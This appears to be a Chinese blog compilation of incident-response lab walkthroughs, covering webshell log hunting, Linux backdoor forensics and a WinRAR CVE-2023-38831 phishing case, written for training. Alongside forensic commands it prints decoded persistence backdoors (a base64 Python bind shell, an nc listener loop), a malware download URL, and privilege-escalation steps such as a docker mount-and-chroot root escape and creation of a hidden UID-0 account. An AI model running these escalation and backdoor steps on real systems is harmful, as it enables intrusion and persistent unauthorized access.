iis的默认路径为C:\inetpub\logs\LogFiles<站点名称>\
但是访问iss服务器日志需要管理员权限,所以需要使用exp进行提权
使用ver进行查看系统版本为 Windows Server 2019
使用CVE-2020-0787进行提权
Release CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub
运行完会弹出一个窗口,使用net user xxx xxx 进行修改管理员账户的密码进行登录
这里登入到管理员权限的账户上
进行对网址目录下的文件机进行扫描,发现一个5(1).asp的木马,不是我传的
对iis日志文件进行查找5(1).asp
这串字符
最后在这个日志中找到,得到上传的木马文件访问路径为/uploiad/image/5(1).asp
查找字符串:
在 cmd
窗口运行以下命令:
findstr /S /I /C:"5(1).asp" C:\inetpub\logs\LogFiles\*.log
/S
:搜索所有子目录中的日志文件/I
:忽略大小写/C:"文本"
:搜索精确匹配的字符串(必须加""
)C:\inetpub\logs\LogFiles\*.log
:IIS 默认日志路径,按需修改
使用 PowerShell
(更高级)
Get-ChildItem -Path "C:\inetpub\logs\LogFiles\" -Filter "*.log" -Recurse | Select-String -Pattern "5\(1\)\.asp"
Get-ChildItem
:获取日志目录中的所有.log
文件-Filter "*.log"
:只匹配.log
文件-Recurse
:递归搜索子文件夹Select-String -Pattern "5\(1\)\.asp"
:查找包含5(1).asp
的行(()
需要 转义\(
和\)
)
应急响应-vulntarget-b-01
请你登录服务器结来分析黑客的入侵行为
用户名:root
密码:xj@vulntarget
SSH连接:ssh root@ip -p 222
题目镜像来源公众号 vulntarget
原文地址:玄机靶场——应急响应-vulntarget-b-01_应急响应-vulntarget-j-01-CSDN博客
步骤一:黑客是从哪个端口作为入口点的
可以使用ss -lnup
进行查看被监听的端口
ss
(socket statistics)是 Linux 系统中用于显示网络连接信息的命令,它是 netstat
的更高效替代方案。
-l
(listening):
仅显示正在监听的端口(即服务器模式下运行的服务)。
-n
(numeric):
以数字方式显示端口号和 IP 地址,而不尝试解析为主机名或服务名(提高执行速度)。
-u
(UDP):
仅显示 UDP 端口的监听状态。
-p
(process):
显示使用这些端口的进程信息(包括进程 ID 和名称)。
Netid
(网络协议类型)
State
(套接字状态)
Recv-Q
(接收队列)
Send-Q
(发送队列)
Local Address:Port
(本地地址和端口)
Peer Address:Port
(对端地址和端口)
使用ls在根目录发现install.sh
使用cat install.sh进行查看这个脚本,这里是使用宝塔作为控制面板的,在宝塔的脚本里面,可以看到宝塔打开的所以端口命令,与上图进行比较,可以发现81端口不是宝塔默认打开的端口,所以认为黑客是将81端口作为他的监控端口和入口点的
答案:81
步骤二:黑客使用了什么工具探测了ssh服务
使用cd /www/wwwlogs
到网站日志文件路径下:
文件名 | 类型 | 记录范围 | 典型问题定位 |
---|---|---|---|
127.0.0.1.error.log |
错误日志 | 特定域名(127.0.0.1 ) |
该域名的 HTTP 错误(如 404/500) |
127.0.0.1.log |
访问日志 | 特定域名(127.0.0.1 ) |
该域名的请求流量分析 |
access.log |
访问日志 | 所有域名 | 全局访问统计、安全审计 |
nginx_error.log |
错误日志 | 服务器全局 | 服务崩溃、配置错误、端口冲突 |
cat access.log
查看网页的日志文件,可以发现Nmap的User-Agent,所以黑客使用的是Namp作为探测工具
答案:Nmap
步骤三:黑客使用了什么工具扫描了目录
为了分析特定域名的请求流量,接着对同目录下的127.0.0.1.log
文件进行查看,发现了gobuster/3.6,这是一款子域名挖掘工具
答案:gobuster
步骤四:黑客成功登录后台的IP地址?
如上图,一般扫描工具的主机一般是登录的IP地址,所以登录后台的ip地址为192.168.83.1
答案:192.168.83.1
步骤五:黑客上传的木马连接密钥是什么?
使用命令将含有gobu的日志全部过滤掉,然后再进行查看,发现有GET传参和POST传参
发现有GET传参和POST传参,先对POST传参进行查看
这里有可疑信息
可以看出的流程为:
1.黑客使用账号和密码登录在f.php中登录进了文件管理(fileManage),状态码302重定向成功
2.参数 p=Reddit-index.php,黑客可能通过 f.php 操作指定文件,状态码200表示成功
3.黑客访问了网站根目录页面即index.php,对index.php文件发送了POST请求有点可疑
使用命令cd /www/wwwroot/jizhi
cat index.php
进行查看index.php
,发现了有一句话木马存在
所以密钥为Admin@@
答案:Admin@@
步骤六:黑客留下的后门文件的路径为?
切换到/tmp
公共临时目录下
发现有一个index.elf
文件
将这个文件放到云沙盒进行查看
可以知道它是一个后门文件
黑客留下的后门文件的路径为/tmp/index.elf
应急响应-vulntarget-j-01
题目来源公众号 vulntarget
https://mp.weixin.qq.com/s/LHq8O2F-r6rbhVW84Q4KEg
任务环境说明
windows账密:workstation admin@20221123
web端口外部无法访问,请RDP连接上机排查
参考
https://mp.weixin.qq.com/s/Rsb0Q_X3MfZuA_SbQne59g
原文地址:应急响应-vulntarget-j-01 - 飞书云文档
步骤一:主站进入后台的文件名称(格式flag
答案:flag{FNeSOgYGkp.php}
步骤二:黑客是从哪个端口上传木马文件的?
flag{80}
步骤三:黑客添加的木马文件名称和密码分别是什么,将黑客添加 的木马名称和密码作为flag提交{flag
用D盾扫
答案:flag{api3.php:Admin}
步骤四:黑客攻击机IP地址是多少(因模拟环境故为内网地址)
知道了后门名字是api3.php
直接去日志搜索即可
Linux后门应急
SSH连接:ssh user@ip -p 222
账号密码:user/Atmbctfer!
原文地址:Linux后门应急 - 飞书云文档
步骤一:主机后门用户名称:提交格式如:flag
使用账号密码ssh连接上主机,连接进来先切换一个交互式tty
tty代表 Linux/Unix 系统中的终端接口。
python -c 'import pty; pty.spawn("/bin/bash")'
该命令用于 将非交互式 Shell 升级为全交互式 TTY Shell,具体作用如下:
python -c '...'
-c
选项让 Python 运行import pty; pty.spawn("/bin/bash")
这段代码,而不用打开 Python 交互模式。
import pty
- 导入 Python 的
pty
模块(Pseudo Terminal 伪终端),用于创建一个 交互式 TTY 终端。
- 导入 Python 的
pty.spawn("/bin/bash")
- 运行
/bin/bash
并 附加到一个新的 TTY 伪终端,让 shell 变得更像本地交互环境。
- 运行
在某些情况下,攻击者通过 反向 Shell 或 受限 Shell(如 sh
)连接到目标系统时,默认的 Shell 可能是 非交互式的,导致:
- 无法使用
Ctrl+C
、Ctrl+Z
这样的快捷键。 - 命令补全(Tab)、光标移动(方向键)等功能可能无法使用。
- 某些 Shell 命令(如
su
、nano
、htop
)可能无法正常工作。
通过 pty.spawn("/bin/bash")
,可以升级为 全交互式 TTY,从而:
- 支持完整的 Bash 交互体验(命令补全、历史记录、方向键)。
- 可以运行
su
切换用户(受限 Shell 可能无法运行su
)。 - 绕过某些受限环境,提升 Shell 可操作性。
我们可以查看/etc/passwd 文件,其中包含了所有用户的信息,包括用户名和用户ID等:
cat /etc/passwd
答案:flag{backdoor}
步骤二:主机排查项中可以发现到flag{}内以i开头的flag,如flag
ps -ef
-e
(所有进程,equal to ps -A
)
- 显示 系统中所有进程(不局限于当前用户)。
- 包括后台进程(daemon),如
systemd
、sshd
、cron
等。
-f
(full format,完整格式)
- 显示更详细的信息,包括 UID(用户)、PID(进程 ID)、PPID(父进程 ID)、启动时间、执行的命令等。
可以发现由root
用户开启的进程,执行的命令为nc -lvp 9999 -c flag{infoFl4g}
开启了9999端口的监听
答案:flag{infoFl4g}
步骤三:主机排査发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5提交方式示例:flag
查看常见的启动配置文件
cat /etc/crontab 全局 Cron 定时任务
crontab -l 查看当前用户的 Cron 任务
cat /etc/profile 查看全局环境变量和启动脚本
-
/etc/crontab
:系统级别的 定时任务(Cron)配置文件,用于 自动执行脚本或任务。 -
/etc/profile
是 系统级别 的 Shell 配置文件,影响 所有用户。登录 Shell(如
ssh
远程连接)时,它会被自动加载。
发现都没有什么东西
可能是自启动服务
切换到目录/etc/systemd/system
查看自启动服务的相关配置文件
这里优先看最近修改的
ls -lt 按 修改时间 排序(最新修改的文件在最上方)。
在rc-local.service
中看到启动了一个脚本 /etc/rc.d/rc.local
rc-local.service
是一个 systemd 服务,它的作用是在系统启动时执行 /etc/rc.d/rc.local
脚本。
/etc/rc.d/rc.local
是一个 Shell 脚本,它的作用是存放用户自定义的开机启动任务。如果 rc-local.service
处于启用状态,系统在启动时就会执行 /etc/rc.d/rc.local
。
查看/etc/rc.d/rc.local
内容:
#!/bin/bash (press RETURN)
echo d2hpbGUgdHJ1ZTtkbyBub2h1cCBuYyAtbHZwIDk5OTkgLWMgImZsYWd7aW5mb0ZsNGd9IiAyPiYxIDtzbGVlcCAxO2RvbmU7 | base64 -d | nohup bash &
exit 0
解码后为:
#!/bin/bash (press RETURN)
while true; do
nohup nc -lvp 9999 -c "flag{infoFl4g}" 2>&1
sleep 1
done
nohup bash & 将解码后的脚本通过 bash 执行,并放入后台运行
exit 0 立即退出脚本并返回状态码 0(表示成功)
可以发现启动后主机会无限循环开启9999端口的监听
nohup
使进程在终端关闭后仍持续运行
&
将进程放入后台,用户不易察觉
答案:flag{(/etc/rc.d/rc.local
的md5值)}
步骤四:黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag
在/tmp
目录下可以发现一个.sshlog
打开发现就是账户密码
/tmp/.sshlog
flag{8997d5a1b8dcca5a4be75962250959f7}
步骤五:给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag{sshd22)
接3题
在docker-compose-app.service
也找到了一个启动脚本/usr/lib/python3.7/site-packages/docker/startup.sh
#!/bin/bash
/usr/local/bin/docker-compose -f /home/user/nginx/docker-compose.yml up -d
echo 'import base64;v=base64.b64decode("aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwoKIyBDcmVhdGUgc29ja2V0IG9iamVjdApzID0gc29ja2V0LnNvY2tldCgpCnMuYmluZCgoJycsIDgwODApKQpzLmxpc3RlbigxKQoKIyBDb250aW51b3VzbHkgYWNjZXB0IGNvbm5lY3Rpb25zCndoaWxlIFRydWU6CiAgICBjb25uLCBhZGRyID0gcy5hY2NlcHQoKQogICAgdHJ5OgogICAgICAgICMgTGF1bmNoIGJhc2ggc2hlbGwgY29ubmVjdGVkIHRvIHRoaXMgc29ja2V0CiAgICAgICAgc3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9iYXNoJ10sIHN0ZGluPWNvbm4sIHN0ZG91dD1jb25uLCBzdGRlcnI9Y29ubikKICAgIGZpbmFsbHk6CiAgICAgICAgIyBFbnN1cmUgdGhlIGNvbm5lY3Rpb24gaXMgY2xvc2VkIGFmdGVyIHVzZQogICAgICAgIGNvbm4uY2xvc2UoKQo=");exec(v)'|nohup python3 &
8080对应的就是这个shell的接收端口
答案:flag{python38080}
步骤六:找出开机启动的后门服务名称MD5,提交flag(md5(服务名)}
上一题得出docker-compose-app.service
就是这个后门的启动服务
而且这个服务正好还是自启动服务
systemctl list-unit-files --type=service --state=enabled
这个命令用于 列出所有已启用(enabled)的 systemd 服务单元文件(service unit files)。
systemctl
:用于控制 systemd
服务的主要命令。
list-unit-files
:列出 systemd
单元文件(unit files),即所有已安装的服务配置文件。
--type=service
:只显示 服务(service) 类型的单元文件,过滤掉其他类型(如 socket
、timer
等)。
--state=enabled
:仅显示 已启用(enabled) 的服务,即那些 在系统启动时会自动运行 的服务。
UNIT FILE STATE
apache2.service enabled
apparmor.service enabled
autovt@.service enabled
cloud-config.service enabled
cloud-final.service enabled
cloud-init-local.service enabled
cloud-init.service enabled
console-setup.service enabled
cron.service enabled
dbus-org.freedesktop.timesync1.service enabled
docker-compose-app.service enabled
docker.service enabled
getty@.service enabled
keyboard-setup.service enabled
networking.service enabled
rc-local.service enabled
rc.local.service enabled
rsyslog.service enabled
ssh.service enabled
sshd.service enabled
syslog.service enabled
systemd-timesyncd.service enabled
答案:flag{(docker-compose-app.service
的MD5值)}
步骤七:渗透提权获得root目录下的flag
基本的命令检测一下是否存在可以利用SUID提权的文件
find / -perm -4000 2>/dev/null
sudo -l
/sbin/getcap -r / 2>/dev/null
-perm -4000
:查找 SUID(Set User ID)位 设为 4(即 -rwsr-xr-x
) 的文件。
- SUID 使得文件在执行时继承其文件所有者的权限,而不是运行它的用户的权限。
- 例如,如果
passwd
命令具有 SUID,那么普通用户执行时也能修改/etc/shadow
。
/sbin/getcap -r /
:递归(-r
)查找 文件的 capability(能力)权限。
没有什么可以利用的,直接上linpeas
脚本检测一下
这里高亮显示了docker 说明很有可能可以利用docker提权
user@ip-10-0-10-5:/tmp$ id
uid=1000(user) gid=1000(user) groups=1000(user),1001(docker)
user@ip-10-0-10-5:/tmp$ ps -aux |grep docker
root 491 0.0 3.4 1439544 70632 ? Ssl 07:06 0:00 /usr/bin/dockerd
ps -aux
显示所有用户的进程,包括守护进程,并以详细格式输出。
参数 | 作用 |
---|---|
a |
显示所有用户的进程(包括其他用户的进程) |
u |
以用户友好的格式显示进程(包含用户名、CPU/内存占用等信息) |
x |
显示无终端控制的进程(例如守护进程) |
user用户在docker组里面,而且docker有root权限
在GTFOBins中找出docker镜像提权相关内容,进行提权
docker run -v /:/mnt -it alpine
chroot /mnt bash
flag{ATMB_root}
步骤八:黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag()括号内的首字母是c开头,如flag{cxxxxxxx)
可以先先新建一个test1用户 然后给root权限 再ssh工具连接上去方便操作
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
选项 | 含义 |
---|---|
useradd |
Linux 命令,用于创建新用户 |
-p $(openssl passwd -1 -salt 'salt' 123456) |
指定用户密码,使用 openssl passwd 生成 |
test1 |
要创建的用户名 |
-o |
允许使用重复的 UID(通常不允许多个用户使用相同 UID) |
-u 0 |
指定用户 UID 为 0 ,即 root 用户 |
-g root |
设置主组为 root |
-G root |
额外添加用户到 root 组 |
-s /bin/bash |
指定用户的默认 shell 为 /bin/bash |
-d /home/test1 |
设置用户的主目录为 /home/test1 |
编辑当前用户的定时任务列表(corntab)
crontab -e
flag{cr0nt4b_IRfind}
步骤九:黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交
这里考点是命令劫持
检测是否存在LD劫持
echo $LD_PRELOAD
LD_PRELOAD
是 Linux 动态链接器(ld.so) 的一个特殊环境变量,用于强制优先加载指定的共享库,无论程序本身的依赖如何。
- 正常情况下,程序会使用系统默认的共享库(如
/lib64/libc.so.6
)。 - 如果
LD_PRELOAD
被设置,则指定的库会优先于系统库加载,这可以用来:- 调试:加载修改后的
libc.so
来跟踪malloc()
、printf()
等函数。 - 性能优化:替换部分标准库函数,提高性能。
- 攻击目的(LD 劫持):劫持关键函数,执行恶意代码,如窃取
ssh
密码。
- 调试:加载修改后的
在root用户下运行,不要在test1用户运行。
追踪和分析 /bin/cat
命令在执行过程中文件系统相关操作的命令。
strace -f -e trace=file /bin/cat
strace
:用于跟踪进程执行过程中与系统内核交互的系统调用。
-f
(--follow-fork
):跟踪子进程,确保 cat
进程的所有子进程(如果有)都被监控。
-e trace=file
:
-e
选项用于过滤系统调用,只追踪指定类型的系统调用。trace=file
只跟踪文件相关的系统调用
逆向文件
flag{.bash_history}
步骤十:黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag
根据上题发现的$LD_PRELOAD
在/root/.bashrc
里面发现一个文件
/root/.bashrc
是 root 用户的 Bash Shell 配置文件,当 root 用户启动交互式非登录 Shell(如打开终端或子 Shell)时,会自动加载该文件。其核心作用是 定制 root 用户的工作环境,包含环境变量、别名、函数等配置。
逆向分析可以发现相关代码
rm -rf ~/.bash_history >/dev/null 2>&1
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}
步骤十一:黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交fag格式为flag{万能密码)
万能密码首先想到openssh替换 或者PAM替换
OpenSSH 源码替换
攻击原理:修改 OpenSSH 服务端(sshd
)源码,在密码验证逻辑中植入万能密码校验逻辑,无论用户真实密码如何,只要输入万能密码即可通过认证。
PAM 模块替换
攻击原理:PAM(Pluggable Authentication Modules)是 Linux 身份验证的底层框架。通过劫持 PAM 栈,在认证流程中插入自定义逻辑,实现万能密码绕过。
pam_unix.so
负责与本地 Unix 系统认证进行交互,主要用于处理用户的身份验证,如密码验证
查找其位置
find /lib /lib64 /usr/lib /usr/lib64 -name pam_unix.so
发现被修改过。这里很可疑
ida逆向分析一下
万能密码就是ATMB6666
flag{ATMB6666}
钓鱼事件应急
靶机名:钓鱼事件应急
靶机账号/密码:administrator/xj@123456
原文地址:Docs、玄机靶场|钓鱼事件应急 | CN-SEC 中文网
步骤一:攻击者通过钓鱼攻击拿下来目标主机,请给出攻击者钓鱼使用的漏洞编号,flag格式:flag{CVE-2019-13514)
在桌面处发现一个漏洞通报.rar的文件,其内部存在一个文件夹
进入文件夹之后发现里面有一个bat文件
根据这个可以猜测出来该文件为恶意文件,并且是利用winrar的漏洞,利用过该漏洞的大哥应该能直接看出来,如果没看出来是哪个漏洞,可以直接将该文件放入云沙箱中,可以直接看到为:CVE-2023-38831
或者运行压缩包里面的脚本。df(Windows Defender)直接报毒并给出cve编号了
答案:flag{CVE-2023-38831}
步骤二:给出钓鱼程序下载木马的地址,flag格式:flag
直接分析rar文件,将rar解压,以记事本方式打开文件夹里面的cmd文件
发现是一个PE文件,重命名为exe文件,用ida64打开
可以看到下载地址以及存储位置http://192.168.229.156:7001/wls-wsat/7z.exe
答案:flag{http://192.168.229.156:7001/wls-wsat/7z.exe}
步骤三:给出远控木马的小写md5,flag格式:flag
根据上步的反编译结果可以看到木马存储的地址为C:\Users\Administrator\AppData\Local\Temp\7z.exe,进入这个目录,但是进入之后发现并没有。
也可以这样找位置:打开压缩包里面的cmd脚本 df报毒 看一下位置
查看隐藏文件:
使用dir /a
是可以看到有一个7z.exe文件的
使用命令attrib -s -h 7z.exe
取消掉7z.exe的隐藏文件属性 与系统文件属性,即可显示出来
dir /a
:列出所有文件,包括隐藏文件。
attrib -s -h 7z.exe
:修改文件属性,移除 7z.exe
的系统文件属性和隐藏文件属性。
答案:flag{d1e11c3281072d11088e7b422ad52e6c}
步骤四:给出远控木马程序的服务端IP:flag格式:flag
把7z.exe放云沙箱里面扫一下即可
或者运行7z.exe,并且通过抓包工具Microsoft Network Monitor 可以看到该程序不断地向一个指定ip发送请求。
答案:flag{192.168.229.136}
步骤五:给出攻击者在横向中上传的内网扫描工具位置,flag格式:flag
在C:\Windows\Temp目录下发现了fscan,
访问这个目录时fscan可能会被df删掉,还原即可
答案:flag{C:\Windows\Temp\fscan.exe}
步骤六:给出攻击者在权限维持中创建的服务名称,flag格式:flag
创建服务事件:
在Windows系统日志中,事件ID 7045 属于 服务控制管理器(Service Control Manager) 记录的日志类型,具体用于记录 新服务的创建或现有服务的配置修改。
在系统日志中筛选日志id:7045
可以看到7z.exe被创建为了一个mysql服务,服务名为:MysqlServer,很明显了。
或者
查看系统服务
这里我按照描述来排序。优先看没有描述的。
查看属性
答案:flag{MysqlServer}
步骤七:给出攻击者创建影子账户的名称,flag格式:flag
查看文件夹 c:\users
或者
影子账户的排查再为基础不过了,在任务管理器中就可以直接看到了
答案:flag{hack$}
步骤八:给出攻击者第一次成功远程登入系统的时间fag格式:flag
用小工具查看即可
项目地址:dogadmin/windodws-logs-analysis: windows日志一键分析小工具
或者搜索安全日志中的4624登录成功事件
答案:flag{2024-09-22 13:15:11}
步骤九:攻击者在横向中创建了一个端口转发规则,给出转发的目的IP地址和端口,flag格式:flag
在 Windows 系统中,端口转发规则可能是通过 netsh
工具配置的
使用命令查看
netsh interface portproxy show all
答案:flag{10.10.10.103:3389}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App